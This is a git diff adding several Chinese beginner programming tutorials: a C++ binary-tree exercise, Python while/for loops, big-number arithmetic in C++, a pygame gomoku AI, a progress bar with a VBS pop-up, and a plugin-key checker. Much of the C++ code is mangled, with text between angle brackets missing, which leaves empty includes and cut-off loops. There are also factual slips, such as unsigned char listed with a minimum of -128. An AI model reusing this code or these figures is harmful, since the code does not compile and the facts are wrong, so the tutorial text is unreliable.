+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5249c1ce59cc46e680571e4e1dd0427d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ecb9c301ceec448ca1956bbb800eceef.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +bool tree[100001]; //false=black true=white +int main(){ + int n,p;//确定层数 + cin>>n; + //5种走法 + for(int i=1;i<=5;i++){ + p=1; //节点编号 + for(int j=1;j +using namespace std; +int main(){ + int r,c; + int a[101][101]; + cin>>r>>c; + for(int i=0;i>a[i][j]; + } + } + for(int i=0;i=0&&y=0&&y程序员以反复劳动为耻。 + +今天我就告诉大家,如何使用简单的代码,实现相对复杂的效果。今天使用的系统资源比较多,请留出足够的内存,以免死机。 +
+ +## `while` 循环 + +假如,我们现在想要让程序输出`1~10`这些数字,没有学循环以前,你是这么写的: + +```python +print(1) +print(2) +print(3) +print(4) +print(5) +print(6) +print(7) +print(8) +print(9) +print(10) +``` +虽然能实现效果,但是太麻烦了,对不? +学了**循环**以后,就是这样写: + +```python +record = 1 #从1开始 +while record <= 10: #运行条件:record变量≤10 + print(record) #输出record变量 + record += 1 #record变量递增1 +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021011213185994.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +也是可以的。 +`while`的语法是什么呢? + +```python +while 运行条件: #循环的第一种方式 + 运行代码 #如果满足上面的运行条件,就运行这里的代码 +else: #如果不满足(可有可无) + 运行代码 +``` +这种语句与`if语句`的结构类似,注意缩进。只要运行条件为真,就会运行下面的代码。 +如果看到`while True`这句代码,一定要注意,这种循环可能没有尽头,我们叫它`死循环`,一直执行下面的代码,会导致系统资源耗尽,请注意! +```python +while True: + print('死循环!') +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210112132333158.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +
+ +## `for`循环 +有一种循环,代码更加简洁,更加优雅,推荐使用它: +(`range`结构:`range(起始点,止步点【即循环次数+1】,步长)`,注意循环次数要`加1`,如要循环`100`次,则代码为`range(1,101,1)`,步长可以省略,默认为`1`) +```python +for i in range(1,11,1): + print(i) +``` +结构: + +```python +for 变量 in 列表: #上面的range返回了一个数字列表 + 运行代码 +else: #如果不符合要求 + 运行代码 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210112132616553.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +也可以输出列表的内容: + +```python +string_list = ['no.1','no.2','no.3','no.4','no.5'] + +for i in string_list: + print(i) +``` +变量可以随便设置,但是我们喜欢使用`i`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210112132809795.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +`for`和`while`都可以嵌套,也就是说,循环内可以还有一层循环。这些循环内容以后我们会说到。 +
+ +## 循环的退出 +如果我们的程序循环时遇到一种情况,需要退出,那么就用到了`break` +和`continue`。虽然这两种都可以退出循环,但是还是有些不同的。`break`循环会退出整个循环;而`continue`只退出当前的循环,会继续在上一层循环中,不会彻底退出。 + +```python +record = 0 +while True: + print(record) + if record >= 100: + break + record += 1 +``` +程序运行到`100`时,就直接退出了,因为我们打破了整个循环。 +`continue`我们以后会学到。 +
+ +练习: + +```python +请求出1~100之间所有的数字之和,随意一种循环都可以。 +``` + diff --git "a/\344\272\224\343\200\201\347\273\203\344\271\240\357\274\232\351\253\230\347\262\276\345\272\246.md" "b/\344\272\224\343\200\201\347\273\203\344\271\240\357\274\232\351\253\230\347\262\276\345\272\246.md" new file mode 100644 index 0000000..ae6d58d --- /dev/null +++ "b/\344\272\224\343\200\201\347\273\203\344\271\240\357\274\232\351\253\230\347\262\276\345\272\246.md" @@ -0,0 +1,451 @@ + +# 高精度 + +今天我们就说一件事:高精度。 +高精度是什么玩意儿? + +> 什么是高精度高精度算法?高精度算法属于处理大数字的数学计算方法。在一般的科学计算中,会经常算到小数点后几百位或者更多,当然也可能是几千亿几百亿的大数字。一般这类数字我们统称为高精度数,高精度算法是用计算机对于超大数据的一种模拟加,减,乘,除。 + +好家伙,合着今天讲数学? +没错,我们今天直接**梦回一年级**,思考底层的加减乘除、四则运算。 + +# 数据类型的极大值、极小值 +首先,在讲高精度以前,我们先来认识一下比较常见的几种类型的最大值、最小值。 +```cpp +最大值: +int类型:2147483647 +char类型:127 +short类型:32767 +long类型:2147483647 +long long类型:9223372036854775807 +signed char类型:127 +unsigned char类型:255 +unsigned short类型:65535 +unsigned int类型:4294967295 +unsigned long类型:4294967295 +unsigned long long类型:18446744073709551615 + + +最小值: +char类型:-128 +short类型:-32768 +int类型:-2147483648 +long类型:-2147483648 +long long类型:-9223372036854775808 +unsigned char类型:-128 +``` +大家没必要记,看看就OK了,有个大概的概念就行。 +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/63efc32c2f5390f91c26dd198e0b2faf.png) + +## 加法 + +加法这个事儿,大家肯定都很熟悉吧? + +> 不是,我是说也许。 +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/3d1fb9f4b745a7a0d64706d84c097662.png) + + +现在,我们来看看如何加。 +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8753ff80564a2c0904a7d57990e06b5b.png) + +很多人最开始一见到这个题,很高兴啊,“太简单了!我直接用`long long`”,然后就悲剧了。 + +我们想啊,题中给了一个条件: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/79f246aab20f64a6898f4abd9af0e27f.png) +那它肯定、肯定是不能使用常规的手法储存的,它的最大长度(501位)为远远超过 `long long` 类型的最大值。 +我们要使用一些奇怪的东西,来储存它,比如说——**字符串**。 + +前面我们有说过,`string`类型没有长度限制,那我们可以怎么操作呢? + +### 思路 + +通用的思路,我们来模拟一下如何进行加法运算。 +> 我们可以知道,加法可能会有**进位**。 +> 那进位能不能判断还不好说(很麻烦),所以我们考虑在数组中逆序存储,这样如果有进位会在结果的后面存储,最后输出时再 **逆序输出** ,就实现了存储。 +> 为了方便,我建议大家把数组的每一位设置为0,可能会方便些。 + +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/dd1ac0c51b3d8a167c9bc59e4446ffa5.png) + +比如说,我们要计算 $123 + 4567$ 。首先从用户那里输入进来,我们的字符串 $s1$、$s2$ 的内容分别为 $123$、$567$。逆序存入数组储存: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/5591d01f1f2ce8a0feb22141b8057f95.png) + + +然后,从0开始,遍历长度较长的数组,加法运算。 +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/7c79231bf355e92c90776bb7dca4a979.png) + +接下来,处理进位,逢十进一,当前的位**取个位**,后面的一位**增加 $1$** 。 +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/f20697ccdaa57f311f81baf5efdc32ea.png) + +从第 $n$ 位倒着往回遍历,遇到第一个不是0的数时,就开始输出,得到 $4690$ 。 + +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/e0621db1607725440df0f81d338a453e.png) + +哈哈哈,惊不惊喜,意不意外? +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/956cf122a1e125681e768a955213908f.png) + +## 加法的代码实现 + +如下是刚才我手写的程序,大家可以看看; +```cpp +// Author:PanDaoxi +#include +using namespace std; +// 用户输入的字符串 +string s1,s2; +// a储存逆序s1,b储存逆序s2,c储存结果(考虑到进位,为了保证不会越界,开502的长度) +int a[501],b[501],c[502]; +int main(){ + cin>>s1>>s2; + // 逆序存入数组 + for(int i=0;i=0;i--){ + if(c[i]||flag) flag=true; // 如果后面的一位不是0,就找到了第一个不是0的数;或者是已经找到了不是0的数,后面有0 + if(flag) cout< +using namespace std; +int main(){ + // 高精度加法 240位内 + int a[241]={},b[241]={},result[242]={},x=0,y=0; + string c,d; + cin>>c>>d; + // 第一步读取整数 + for(int i=c.size()-1;i>=0;i--){ + a[x++]=c[i]-'0'; + } + for(int i=d.size()-1;i>=0;i--){ + b[y++]=d[i]-'0'; + } + // 第二步加法计算 + for(int i=0;i<(x>y?x:y);i++){ + result[i]+=(a[i]+b[i])%10; + result[i+1]+=(a[i]+b[i])/10; + } + for(int i=(x>y?x:y);i>=0;i--){ + cout< +using namespace std; +int main(){ + string s1,s2; + int a[241]={},b[241]={},result[241]={},k=0,t; + cin>>s1>>s2; + // 考虑几种特殊情况 + if(s1==s2){ // 相等 + cout<<0; + return 0; + } + // 后面的比前面的长,需要输出负号 + if(s1.size()s2.size()?s1.size():s2.size());i++){ + t=10-b[i]+a[i]+result[k++]; + if(t<10) result[k]--; // 退位,在后面一位减去1 + result[k-1]=t%10; + } + // 前面可能有0,从第一个不是0的数开始输出 + for(int i=k-1;i>=0;i--){ + if(result[i]>0){ + t=i; // 记录第一个不是0的数的下标 + break; + } + } + // 输出 + for(int i=t;i>=0;i--){ + cout< +using namespace std; +int main(){ + int n,a[501]={}; + string s1; + cin>>s1>>n; + for(int i=0;i=0;i--){ + if(a[i]||flag) flag=true; + if(flag) cout< +using namespace std; +int main(){ + // 高精度乘单精度(不超过10000) + int a[251]={}; + string s1; + int b; + cin>>s1>>b; + for(int i=0;i=10){ + a[i+1]+=a[i]/10; + a[i]%=10; + } + } + // 获取第一个不是0的数 + int point=0; + for(int i=s1.size()+4;i>=0;i--){ + if(a[i]!=0){ + point=i; + break; + } + } + for(int i=point;i>=0;i--){ + cout< +using namespace std; +int main(){ + string s1,s2; + int a[4002]={},b[4002]={},result[8004]={}; + cin>>s1>>s2; + for(int i=0;i=0;i--){ + if(result[i]>0){ + p=i;break; + } + } + for(int i=p;i>=0;i--){ + cout< +using namespace std; +int main(){ + // 2的0次方=1 + int a[501]={1},len=1,p,n; // len=1,记录长度 + cin>>n; + for(int i=0;i0) len++; + } + // 输出 + for(int i=len;i>=0;i--){ + if(a[i]>0){ + p=i; + break; + } + } + for(int i=p;i>=0;i--){ + cout< 说实话这个题根本用不着高精度,只是看着像,用高精度也能解。 +>```cpp +>// Author:PanDaoxi +>#include +>using namespace std; +>int main(){ +> int n; +> cin>>n; +> cout<<(1< return 0; +>} +>``` + +例题二也不难,高精度乘高精度,直接套程序。注意观察数据范围。 + +## 高精度除法 + +计算$a{\div} b$(保留n位小数)。大家可以找找规律。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int a,b,n,t=0,c[1001]; + cin>>a>>b>>n; + // 输出小数点 + cout< 建议在提交题目时,把生成器写到注释里。 +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/43c77853c06707e785f4d8b27162acf7.png) + + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + string s[51]={"0","1","3","9","33","153","873","5913","46233","409113","4037913","43954713","522956313","6749977113","93928268313","1401602636313","22324392524313","378011820620313","6780385526348313","128425485935180313","2561327494111820313","53652269665821260313","1177652997443428940313","27029669736328405580313","647478071469567844940313","16158688114800553828940313","419450149241406189412940313","11308319599659758350180940313","316196664211373618851684940313","9157958657951075573395300940313","274410818470142134209703780940313","8497249472648064951935266660940313","271628086406341595119153278820940313","8954945705218228090637347680100940313","304187744744822368938255957323620940313","10637335711130967298604907294846820940313","382630662501032184766604355445682020940313","14146383753727377231082583937026584420940313","537169001220328488991089808037100875620940313","20935051082417771847631371547939998232420940313","836850334330315506193242641144055892504420940313","34289376947494122614363304694584807557656420940313","1439295494700374021157505910939096377494040420940313","61854558558074209658512637979453093884758552420940313","2720126133346522977702138448994068984204397080420940313","122342346998826717539665299944651784048588130840420940313","5624964506810915667389970728744906677010239883800420940313","264248206017979096310354325882356886646207872272920420940313","12678163798554051767172643373255731925167694226950680420940313","620960027832821612639424806694551108812720525606160920420940313",}; + int n; + cin>>n; + cout< Stone_Radius: + x += 1 + if pos_y % SIZE > Stone_Radius: + y += 1 + if x >= Line_Points or y >= Line_Points: + return None + + return Point(x, y) + + +class AI: + def __init__(self, line_points, chessman): + self._line_points = line_points + self._my = chessman + self._opponent = BLACK_CHESSMAN if chessman == WHITE_CHESSMAN else WHITE_CHESSMAN + self._checkerboard = [[0] * line_points for _ in range(line_points)] + + def get_opponent_drop(self, point): + self._checkerboard[point.Y][point.X] = self._opponent.Value + + def AI_drop(self): + point = None + score = 0 + for i in range(self._line_points): + for j in range(self._line_points): + if self._checkerboard[j][i] == 0: + _score = self._get_point_score(Point(i, j)) + if _score > score: + score = _score + point = Point(i, j) + elif _score == score and _score > 0: + r = random.randint(0, 100) + if r % 2 == 0: + point = Point(i, j) + self._checkerboard[point.Y][point.X] = self._my.Value + return point + + def _get_point_score(self, point): + score = 0 + for os in offset: + score += self._get_direction_score(point, os[0], os[1]) + return score + + def _get_direction_score(self, point, x_offset, y_offset): + count = 0 # 落子处我方连续子数 + _count = 0 # 落子处对方连续子数 + space = None # 我方连续子中有无空格 + _space = None # 对方连续子中有无空格 + both = 0 # 我方连续子两端有无阻挡 + _both = 0 # 对方连续子两端有无阻挡 + + # 如果是 1 表示是边上是我方子,2 表示敌方子 + flag = self._get_stone_color(point, x_offset, y_offset, True) + if flag != 0: + for step in range(1, 6): + x = point.X + step * x_offset + y = point.Y + step * y_offset + if 0 <= x < self._line_points and 0 <= y < self._line_points: + if flag == 1: + if self._checkerboard[y][x] == self._my.Value: + count += 1 + if space is False: + space = True + elif self._checkerboard[y][x] == self._opponent.Value: + _both += 1 + break + else: + if space is None: + space = False + else: + break # 遇到第二个空格退出 + elif flag == 2: + if self._checkerboard[y][x] == self._my.Value: + _both += 1 + break + elif self._checkerboard[y][x] == self._opponent.Value: + _count += 1 + if _space is False: + _space = True + else: + if _space is None: + _space = False + else: + break + else: + # 遇到边也就是阻挡 + if flag == 1: + both += 1 + elif flag == 2: + _both += 1 + + if space is False: + space = None + if _space is False: + _space = None + + _flag = self._get_stone_color(point, -x_offset, -y_offset, True) + if _flag != 0: + for step in range(1, 6): + x = point.X - step * x_offset + y = point.Y - step * y_offset + if 0 <= x < self._line_points and 0 <= y < self._line_points: + if _flag == 1: + if self._checkerboard[y][x] == self._my.Value: + count += 1 + if space is False: + space = True + elif self._checkerboard[y][x] == self._opponent.Value: + _both += 1 + break + else: + if space is None: + space = False + else: + break # 遇到第二个空格退出 + elif _flag == 2: + if self._checkerboard[y][x] == self._my.Value: + _both += 1 + break + elif self._checkerboard[y][x] == self._opponent.Value: + _count += 1 + if _space is False: + _space = True + else: + if _space is None: + _space = False + else: + break + else: + # 遇到边也就是阻挡 + if _flag == 1: + both += 1 + elif _flag == 2: + _both += 1 + + score = 0 + if count == 4: + score = 10000 + elif _count == 4: + score = 9000 + elif count == 3: + if both == 0: + score = 1000 + elif both == 1: + score = 100 + else: + score = 0 + elif _count == 3: + if _both == 0: + score = 900 + elif _both == 1: + score = 90 + else: + score = 0 + elif count == 2: + if both == 0: + score = 100 + elif both == 1: + score = 10 + else: + score = 0 + elif _count == 2: + if _both == 0: + score = 90 + elif _both == 1: + score = 9 + else: + score = 0 + elif count == 1: + score = 10 + elif _count == 1: + score = 9 + else: + score = 0 + + if space or _space: + score /= 2 + + return score + + # 判断指定位置处在指定方向上是我方子、对方子、空 + def _get_stone_color(self, point, x_offset, y_offset, next): + x = point.X + x_offset + y = point.Y + y_offset + if 0 <= x < self._line_points and 0 <= y < self._line_points: + if self._checkerboard[y][x] == self._my.Value: + return 1 + elif self._checkerboard[y][x] == self._opponent.Value: + return 2 + else: + if next: + return self._get_stone_color(Point(x, y), x_offset, y_offset, False) + else: + return 0 + else: + return 0 + + +if __name__ == '__main__': + main() + +``` +②`checkerboard.py`: + +```python +from collections import namedtuple + +Chessman = namedtuple('Chessman', 'Name Value Color') +Point = namedtuple('Point', 'X Y') + +BLACK_CHESSMAN = Chessman('黑子', 1, (45, 45, 45)) +WHITE_CHESSMAN = Chessman('白子', 2, (219, 219, 219)) + +offset = [(1, 0), (0, 1), (1, 1), (1, -1)] + + +class Checkerboard: + def __init__(self, line_points): + self._line_points = line_points + self._checkerboard = [[0] * line_points for _ in range(line_points)] + + def _get_checkerboard(self): + return self._checkerboard + + checkerboard = property(_get_checkerboard) + + # 判断是否可落子 + def can_drop(self, point): + return self._checkerboard[point.Y][point.X] == 0 + + def drop(self, chessman, point): + """ + 落子 + :param chessman: + :param point:落子位置 + :return:若该子落下之后即可获胜,则返回获胜方,否则返回 None + """ + print(f'{chessman.Name} ({point.X}, {point.Y})') + self._checkerboard[point.Y][point.X] = chessman.Value + + if self._win(point): + print(f'{chessman.Name}获胜') + return chessman + + # 判断是否赢了 + def _win(self, point): + cur_value = self._checkerboard[point.Y][point.X] + for os in offset: + if self._get_count_on_direction(point, cur_value, os[0], os[1]): + return True + + def _get_count_on_direction(self, point, value, x_offset, y_offset): + count = 1 + for step in range(1, 5): + x = point.X + step * x_offset + y = point.Y + step * y_offset + if 0 <= x < self._line_points and 0 <= y < self._line_points and self._checkerboard[y][x] == value: + count += 1 + else: + break + for step in range(1, 5): + x = point.X - step * x_offset + y = point.Y - step * y_offset + if 0 <= x < self._line_points and 0 <= y < self._line_points and self._checkerboard[y][x] == value: + count += 1 + else: + break + + return count >= 5 + +``` + diff --git "a/\344\275\277\347\224\250Python\345\201\232\345\207\272\350\277\233\345\272\246\346\235\241\347\232\204\346\225\210\346\236\234.md" "b/\344\275\277\347\224\250Python\345\201\232\345\207\272\350\277\233\345\272\246\346\235\241\347\232\204\346\225\210\346\236\234.md" new file mode 100644 index 0000000..3cb93bd --- /dev/null +++ "b/\344\275\277\347\224\250Python\345\201\232\345\207\272\350\277\233\345\272\246\346\235\241\347\232\204\346\225\210\346\236\234.md" @@ -0,0 +1,51 @@ +今天我们来使用Python做出**进度条**的效果。 + +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200710154614923.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200710154636416.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +> 注意,这里不需要任何第三方库文件,只需要一台电脑,Windows系统,和Python3。 + +代码很简单,只需要**双重for循环**、**range()**。 + +步骤: +1.我们首先需要学会打出特殊符号:▉(完整方块,在这里直接复制即可)。 +2.接着我们打开开发工具,创建一个新的、空白的Python文档。 +3.输入代码如下: + +```python +from time import sleep #导入sleep延时 +from os import system #导入 os.system() +products = ['产品1','产品2','产品3'] #创建products列表,里面放入模拟下载的文件 + +#创建下载完成后函数 +def isDownloadOkay(product): + #生成VBS文本框 + with open('box.vbs','w+',encoding = 'ANSI') as file: + #下面是一句VBS代码 + file.write('Msgbox "下载完成!"+chr(13)+"您下载的文件是:{0}",64,"通知"'.format(product)) + #下面是一句批处理命令,打开程序后延时2秒删除掉它,因为它是临时文件 + system('call "box.vbs" & ping 127.0.1 /n 2 >nul & del /q /s /f "box.vbs" >nul') + +if len(products) != 0: #判断列表长度是否不等于0 + for product in products: #嵌套第一层循环 + print('正在从 Internet 上下载:{0}。\n下载进度:\n'.format(product)) + #输出信息 + for download in range(1,101): #嵌套第二层循环 + print('{0}({1}%)'.format(download * '▉',float(download))) + #输出进度条 + sleep(0.2) + #延时 0.2 秒 + if download == 100: + print('\n{0}的下载任务已经完成!\n'.format(product)) + isDownloadOkay(product = product) +else: #如果列表长度等于0 + print('您当前的产品列表长度为0,无法下载。') + #输出信息 +``` +代码写完了。 +有很多朋友应该会问:为啥必须要用VBS临时文件的方法而不用`tkinter.messagebox.showinfo(title,message)`呢?那样多简单,只需要一门代码就够了。其实这么做也是可以的,但是会影响效果,使用时一次会弹出两个框,效果不好。我建议大家在使用messagebox时,使用上Tk,效果不错。 +![showinfo效果 +](https://img-blog.csdnimg.cn/20200710130625253.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +> 注:当时不太懂,后期才知道了。 + diff --git "a/\344\275\277\347\224\250Python\345\210\244\346\226\255\351\235\236\346\255\243\345\270\270\346\213\223\345\261\225\345\220\215\346\217\222\344\273\266.md" "b/\344\275\277\347\224\250Python\345\210\244\346\226\255\351\235\236\346\255\243\345\270\270\346\213\223\345\261\225\345\220\215\346\217\222\344\273\266.md" new file mode 100644 index 0000000..e8b2470 --- /dev/null +++ "b/\344\275\277\347\224\250Python\345\210\244\346\226\255\351\235\236\346\255\243\345\270\270\346\213\223\345\261\225\345\220\215\346\217\222\344\273\266.md" @@ -0,0 +1,196 @@ +注意:这篇文章请在浏览器里打开,否则代码会出问题(显示不出来)! +https://blog.csdn.net/PanDaoxi2020/article/details/107635648 + +我们来使用Python判断非正常拓展名插件。 +需要的材料: +1. 1张图片(自行下载,复制图片到桌面,命名为`image.jpg`) +![背景图片](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729171151106.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +2. Python3 +3. PIL(自己pip安装) + +首先新建一个Python文档,写入以下内容: + +```python +#!usr/bin/python +# python : 3.6 +# coding : utf-8 +#导入包 +from tkinter import Tk,Label,Button +from tkinter.messagebox import showinfo +from tkinter.filedialog import askopenfilename +from PIL import ImageTk + +#设置插件密匙,根据刚才的代码自己复制,使用多行字符串,千万别忘了最后要有个空行! +code = '''66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +33333333333333333333333333333333333333333333333333333333333333333333333333333333 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +99999999999999999999999999999999999999999999999999999999999999999999999999999999 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +99999999999999999999999999999999999999999999999999999999999999999999999999999999 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +99999999999999999999999999999999999999999999999999999999999999999999999999999999 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +99999999999999999999999999999999999999999999999999999999999999999999999999999999 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +44444444444444444444444444444444444444444444444444444444444444444444444444444444 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +33333333333333333333333333333333333333333333333333333333333333333333333333333333 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +33333333333333333333333333333333333333333333333333333333333333333333333333333333 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +33333333333333333333333333333333333333333333333333333333333333333333333333333333 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +33333333333333333333333333333333333333333333333333333333333333333333333333333333 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +99999999999999999999999999999999999999999999999999999999999999999999999999999999 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +88888888888888888888888888888888888888888888888888888888888888888888888888888888 +55555555555555555555555555555555555555555555555555555555555555555555555555555555 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +66666666666666666666666666666666666666666666666666666666666666666666666666666666 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +77777777777777777777777777777777777777777777777777777777777777777777777777777777 +''' + +#创建窗口方法 +def box(message,title = '通知'): + showinfo(title = title,message = message) + +#创建选择图片方法 +def selectPlugin(): + #隐藏窗口 + window = Tk() + window.withdraw() + #选择文件对话框 + file = askopenfilename(initialdir = 'C:/Windows/System32',title = '请选择插件并上传!') + #在这里嵌套判断格式是否正确 + try: + #判断是否选择 + if len(file) == 0: + box('请选择文件!') + else: + #打开文件 + with open(file,'r') as plugin: + text = plugin.read() + #验证密匙 + if text == code: + box('上传成功!\n验证成功!') + #设置一次性,使用后作废(新增内容) + #不想要可以删掉 + with open(file,'a') as add: + add.write(code) + + #在这里可以设置用户需要的代码,最好是调用方法的方式 + else: + #反馈结果 + box('识别失败!请重试!') + except UnicodeDecodeError: + #识别错误 + box('格式有误或者拓展名错误!') + + window.mainloop() + 